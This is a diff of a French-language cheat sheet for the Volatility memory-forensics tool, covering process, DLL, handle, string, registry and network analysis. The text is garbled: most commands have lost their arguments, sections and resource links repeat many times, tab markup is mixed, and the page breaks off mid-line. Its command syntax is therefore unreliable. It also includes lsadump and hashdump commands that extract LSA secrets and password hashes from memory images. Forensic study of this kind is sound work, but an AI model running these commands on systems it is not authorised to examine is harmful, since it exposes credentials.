-### Plugin `kpcrscan` - -```bash -volatility -f kpcrscan -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -``` - -### Plugin `lsadump` - -```bash -volatility -f lsadump -s -o --security --sam -``` - -### Plugin `memdump` - -```bash -volatility -f memdump -p -D -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -m -``` - -### Plugin `modules` - -```bash -volatility -f modules -``` - -### Plugin `mutantscan` - -```bash -volatility -f mutantscan -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -### Plugin `procdump` - -```bash -volatility -f procdump -p -D -``` - -### Plugin `pslist` - -```bash -volatility -f pslist -``` - -### Plugin `psscan` - -```bash -volatility -f psscan -``` - -### Plugin `pstree` - -```bash -volatility -f pstree -``` - -### Plugin `sessions` - -```bash -volatility -f sessions -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `ssdt` - -```bash -volatility -f ssdt -``` - -### Plugin `symlinkscan` - -```bash -volatility -f symlinkscan -``` - -### Plugin `thrdscan` - -```bash -volatility -f thrdscan -``` - -### Plugin `timeliner` - -```bash -volatility -f timeliner -o -``` - -### Plugin `vadinfo` - -```bash -volatility -f vadinfo -p -``` - -### Plugin `vadtree` - -```bash -volatility -f vadtree -p -``` - -### Plugin `verinfo` - -```bash -volatility -f verinfo -``` - -### Plugin `windows` - -```bash -volatility -f windows -``` - -### Plugin `wndscan` - -```bash -volatility -f wndscan -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) +{% onglet title="vol2" %} ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled @@ -2760,761 +415,23 @@ Il pourrait être intéressant de lister les processus utilisant un SID de privi ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -sudo apt-get install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Image Identification - -```bash -volatility imageinfo -f -``` - -### Process Listing - -```bash -volatility pslist -f -``` - -### Process Tree - -```bash -volatility pstree -f -``` - -### Process Memory Dump - -```bash -volatility memdump -f -p --dump-dir -``` - -### DLL Listing - -```bash -volatility dlllist -f -p -``` - -### Handles - -```bash -volatility handles -f -p -``` - -### Network Connections - -```bash -volatility netscan -f -``` - -### Open Files - -```bash -volatility filescan -f -``` - -### Registry Analysis - -```bash -volatility hivelist -f -volatility printkey -f -o -volatility dumpkey -f -o --dump-dir -``` - -### Malware Analysis - -```bash -volatility malfind -f --dump-dir -volatility malprocfind -f --dump-dir -volatility malfind -f --dump-dir -``` - -### User Account Analysis - -```bash -volatility hivescan -f -volatility userassist -f -volatility getsids -f -volatility hashdump -f -s -u -``` - -### Miscellaneous - -```bash -volatility cmdline -f -p -volatility consoles -f -volatility idt -f -volatility modules -f -volatility printkey -f -o -volatility shellbags -f -volatility sockets -f -volatility ssdt -f -volatility timers -f -volatility truecryptmaster -f -volatility vadinfo -f -volatility vadtree -f -volatility windows -f -``` -{% endtab %} +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` -### Handles +{% endtab %} +{% endtabs %} -Il est utile de savoir à quels autres fichiers, clés, threads, processus... un **processus a une poignée** (a ouvert). +### Poignées + +Utile pour savoir à quels autres fichiers, clés, threads, processus... un **processus a une poignée** (a ouvert) ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -```bash -volatility -f hashdump -y -s -o --system --security --sam -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" -``` - -```bash -volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\LSA" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Processus - -#### pslist - -```bash -volatility -f --profile= pslist -``` - -#### psscan - -```bash -volatility -f --profile= psscan -``` - -#### pstree - -```bash -volatility -f --profile= pstree -``` - -#### psxview - -```bash -volatility -f --profile= psxview -``` - -#### cmdscan - -```bash -volatility -f --profile= cmdscan -``` - -#### consoles - -```bash -volatility -f --profile= consoles -``` - -#### consolescreeens - -```bash -volatility -f --profile= consolescreens -``` - -#### dlllist - -```bash -volatility -f --profile= dlllist -``` - -#### getsids - -```bash -volatility -f --profile= getsids -``` - -#### handles - -```bash -volatility -f --profile= handles -``` - -#### mutantscan - -```bash -volatility -f --profile= mutantscan -``` - -#### privs - -```bash -volatility -f --profile= privs -``` - -#### privs2 - -```bash -volatility -f --profile= privs2 -``` - -#### thrdscan - -```bash -volatility -f --profile= thrdscan -``` - -#### vadinfo - -```bash -volatility -f --profile= vadinfo -``` - -#### vadtree - -```bash -volatility -f --profile= vadtree -``` - -#### verinfo - -```bash -volatility -f --profile= verinfo -``` - -#### windows - -```bash -volatility -f --profile= windows -``` - -#### wintree - -```bash -volatility -f --profile= wintree -``` - -#### svcscan - -```bash -volatility -f --profile= svcscan -``` - -#### svcscan2 - -```bash -volatility -f --profile= svcscan2 -``` - -#### svcstalker - -```bash -volatility -f --profile= svcstalker -``` - -#### envars - -```bash -volatility -f --profile= envars -``` - -#### modscan - -```bash -volatility -f --profile= modscan -``` - -#### moddump - -```bash -volatility -f --profile= moddump -D -p -``` - -#### moddump - -```bash -volatility -f --profile= moddump -D -m -``` - -#### moddump - -```bash -volatility -f --profile= moddump -D -f -``` - -#### malfind - -```bash -volatility -f --profile= malfind -``` - -#### malfind - -```bash -volatility -f --profile= malfind --dump-dir -``` - -#### apihooks - -```bash -volatility -f --profile= apihooks -p -``` - -#### ldrmodules - -```bash -volatility -f --profile= ldrmodules -p -``` - -#### handles - -```bash -volatility -f --profile= handles -p -``` - -### Réseau - -#### connscan - -```bash -volatility -f --profile= connscan -``` - -#### connscan - -```bash -volatility -f --profile= connscan -s -``` - -#### sockets - -```bash -volatility -f --profile= sockets -``` - -#### sockscan - -```bash -volatility -f --profile= sockscan -``` - -### Fichiers - -#### filescan - -```bash -volatility -f --profile= filescan -``` - -#### dumpfiles - -```bash -volatility -f --profile= dumpfiles -Q -``` - -#### dumpfiles - -```bash -volatility -f --profile= dumpfiles -Q --dump-dir -``` - -### Registres - -#### hivelist - -```bash -volatility -f --profile= hivelist -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K -o -``` - -#### hashdump - -```bash -volatility -f --profile= hashdump -y -s -o --system --security --sam -``` - -### Utilisateurs - -#### hivelist - -```bash -volatility -f --profile= hivelist -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\ComputerName\ComputerName" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Services\Tcpip\Parameters" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\LSA" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -#### printkey - -```bash -volatility -f --profile= printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -### Vulnérabilités - -#### malfind - -```bash -volatility -f --profile= malfind -``` - -#### malfind - -```bash -volatility -f --profile= malfind --dump-dir -``` - -#### yarascan - -```bash -volatility -f --profile= yarascan -Y -``` - -#### yarascan - -```bash -volatility -f --profile= yarascan -Y --dump-dir -``` - -## Profils - -### Windows - -#### Windows XP SP2 - -```bash -volatility -f --profile=WinXPSP2x86 -``` - -#### Windows XP SP3 - -```bash -volatility -f --profile=WinXPSP3x86 -``` - -#### Windows Server 2003 SP0 - -```bash -volatility -f --profile=Win2003SP0x86 -``` - -#### Windows Server 2003 SP1 - -```bash -volatility -f --profile=Win2003SP1x86 -``` - -#### Windows Server 2003 SP2 - -```bash -volatility -f --profile=Win2003SP2x86 -``` - -#### Windows Vista SP0/SP1 - -```bash -volatility -f --profile=WinVistaSP0x86 -``` - -#### Windows Vista SP2 - -```bash -volatility -f --profile=WinVistaSP2x86 -``` - -#### Windows Server 2008 SP1 - -```bash -volatility -f --profile=Win2008SP1x86 -``` - -#### Windows Server 2008 SP2 - -```bash -volatility -f --profile=Win2008SP2x86 -``` - -#### Windows 7 SP0/SP1 - -```bash -volatility -f --profile=Win7SP0x86 -``` - -#### Windows 8/8.1 - -```bash -volatility -f --profile=Win8SP0x86 -``` - -#### Windows 10 - -```bash -volatility -f --profile=Win10x64 -``` - -### Linux - -#### Ubuntu 12.04 LTS - -```bash -volatility -f --profile=LinuxUbuntu1204x64 -``` - -#### Ubuntu 14.04 LTS - -```bash -volatility -f --profile=LinuxUbuntu1404x64 -``` - -#### Ubuntu 16.04 LTS - -```bash -volatility -f --profile=LinuxUbuntu1604x64 -``` - -#### CentOS 6 - -```bash -volatility -f --profile=LinuxCentos6x64 -``` - -#### CentOS 7 - -```bash -volatility -f --profile=LinuxCentos7x64 -``` - -#### Debian 7 - -```bash -volatility - +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` @@ -3522,246 +439,77 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {% tabs %} {% tab title="vol3" %} -Les DLL (Dynamic Link Libraries) sont des fichiers qui contiennent du code et des données qui peuvent être utilisés par plusieurs programmes en même temps. Les DLL sont souvent utilisées pour économiser de l'espace disque et de la mémoire, car elles permettent de partager du code entre plusieurs programmes. Les DLL peuvent également être utilisées pour ajouter des fonctionnalités à un programme existant sans avoir à le modifier directement. - -Volatility dispose de plusieurs commandes pour analyser les DLL dans un dump de mémoire. La commande `dlllist` affiche une liste de toutes les DLL chargées dans le processus spécifié, ainsi que leur adresse de base et leur chemin d'accès sur le disque. La commande `dlldump` permet de récupérer une DLL spécifique à partir de la mémoire et de l'enregistrer sur le disque. - -Il est important de noter que les DLL peuvent être utilisées pour exécuter du code malveillant sur un système. Les attaquants peuvent remplacer une DLL légitime par une version malveillante pour obtenir un accès persistant au système ou pour voler des informations sensibles. Il est donc important de vérifier l'intégrité des DLL sur un système compromis. -{% endtab %} -{% endtabs %} ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} -## Commandes de base +## Feuille de triche Volatility -### Analyse de l'image mémoire +### Commandes de base -```bash -volatility -f imageinfo -``` +- **volatility -f dump.raw imageinfo** : Affiche les informations générales sur l'image mémoire. +- **volatility -f dump.raw pslist** : Liste les processus en cours d'exécution. +- **volatility -f dump.raw psscan** : Analyse tous les processus. +- **volatility -f dump.raw pstree** : Affiche les processus sous forme d'arborescence. +- **volatility -f dump.raw dlllist -p PID** : Liste les DLL chargées par un processus spécifique. +- **volatility -f dump.raw filescan** : Analyse les fichiers ouverts par les processus. +- **volatility -f dump.raw cmdline -p PID** : Affiche la ligne de commande d'un processus. +- **volatility -f dump.raw netscan** : Analyse les connexions réseau. +- **volatility -f dump.raw connections** : Affiche les connexions réseau. +- **volatility -f dump.raw malfind** : Recherche de code malveillant dans les processus. +- **volatility -f dump.raw cmdline** : Affiche les lignes de commande des processus. +- **volatility -f dump.raw consoles** : Affiche les consoles des processus. +- **volatility -f dump.raw hivelist** : Liste les hives du registre. +- **volatility -f dump.raw printkey -o OFFSET** : Affiche les valeurs d'une clé de registre. +- **volatility -f dump.raw userassist** : Affiche les entrées UserAssist. +- **volatility -f dump.raw shimcache** : Affiche les entrées ShimCache. +- **volatility -f dump.raw ldrmodules** : Affiche les modules chargés par les processus. +- **volatility -f dump.raw modscan** : Analyse les modules du noyau. +- **volatility -f dump.raw getsids** : Affiche les SID des processus. +- **volatility -f dump.raw apihooks** : Recherche les hooks API dans les processus. +- **volatility -f dump.raw mutantscan** : Analyse les objets mutant. +- **volatility -f dump.raw driverirp** : Affiche les IRP des pilotes. +- **volatility -f dump.raw devicetree** : Affiche l'arborescence des périphériques. +- **volatility -f dump.raw svcscan** : Analyse les services. +- **volatility -f dump.raw svcscan --verbose** : Analyse les services en mode verbeux. +- **volatility -f dump.raw envars** : Affiche les variables d'environnement des processus. +- **volatility -f dump.raw atomscan** : Analyse les atomes des processus. +- **volatility -f dump.raw callbacks** : Affiche les callbacks des processus. +- **volatility -f dump.raw idt** : Affiche la table des descripteurs d'interruption. +- **volatility -f dump.raw gdt** : Affiche la table des descripteurs globaux. +- **volatility -f dump.raw threads** : Affiche les threads des processus. +- **volatility -f dump.raw handles** : Affiche les handles des processus. +- **volatility -f dump.raw mutantscan** : Analyse les objets mutant. +- **volatility -f dump.raw driverirp** : Affiche les IRP des pilotes. +- **volatility -f dump.raw devicetree** : Affiche l'arborescence des périphériques. +- **volatility -f dump.raw svcscan** : Analyse les services. +- **volatility -f dump.raw svcscan --verbose** : Analyse les services en mode verbeux. +- **volatility -f dump.raw envars** : Affiche les variables d'environnement des processus. +- **volatility -f dump.raw atomscan** : Analyse les atomes des processus. +- **volatility -f dump.raw callbacks** : Affiche les callbacks des processus. +- **volatility -f dump.raw idt** : Affiche la table des descripteurs d'interruption. +- **volatility -f dump.raw gdt** : Affiche la table des descripteurs globaux. +- **volatility -f dump.raw threads** : Affiche les threads des processus. +- **volatility -f dump.raw handles** : Affiche les handles des processus. -```bash -volatility -f kdbgscan -``` +### Plugins supplémentaires -```bash -volatility -f kpcrscan -``` +- **volatility -f dump.raw shimcachemem** : Analyse le cache de compatibilité des applications. +- **volatility -f dump.raw mftparser** : Analyse la table de fichiers maîtres (MFT). +- **volatility -f dump.raw dumpfiles -Q OFFSET -D dump_dir/** : Extrait les fichiers en mémoire. +- **volatility -f dump.raw dumpregistry -o OFFSET -D dump_dir/** : Extrait une ruche de registre en mémoire. +- **volatility -f dump.raw yarascan -Y "rule_file"** : Recherche de motifs avec Yara. +- **volatility -f dump.raw memdump -p PID -D dump_dir/** : Effectue un vidage mémoire d'un processus spécifique. +- **volatility -f dump.raw memmap --profile=PROFILE** : Affiche la carte mémoire. +- **volatility -f dump.raw memmap --profile=PROFILE -p PID** : Affiche la carte mémoire d'un processus spécifique. +- **volatility -f dump.raw memstrings -p PID** : Recherche de chaînes dans l'espace mémoire d'un processus. +- **volatility -f dump.raw memdump --profile=PROFILE -p PID -D dump_dir/** : Effectue un vidage mémoire d'un processus spécifique avec un profil spécifique. -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/te-k/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc @@ -3769,226 +517,13 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm ### Chaînes par processus Volatility nous permet de vérifier à quel processus appartient une chaîne. - -{% tabs %} -{% tab title="vol3" %} ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) +{% onglet title="vol2" %} ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -3996,796 +531,26 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` -{% endtab %} -{% endtabs %} - -Il permet également de rechercher des chaînes de caractères à l'intérieur d'un processus en utilisant le module yarascan : - -{% tabs %} -{% tab title="vol3" %} +Il permet également de rechercher des chaînes de caractères à l'intérieur d'un processus en utilisant le module yarascan : ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -```bash -volatility -f hashdump -y -s -o --system --security --sam -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" -``` - -```bash -volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\LSA" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -### Plugin `hashdump` - -```bash -volatility -f hashdump -y -s -o --system --security --sam -``` - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/te-k/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin 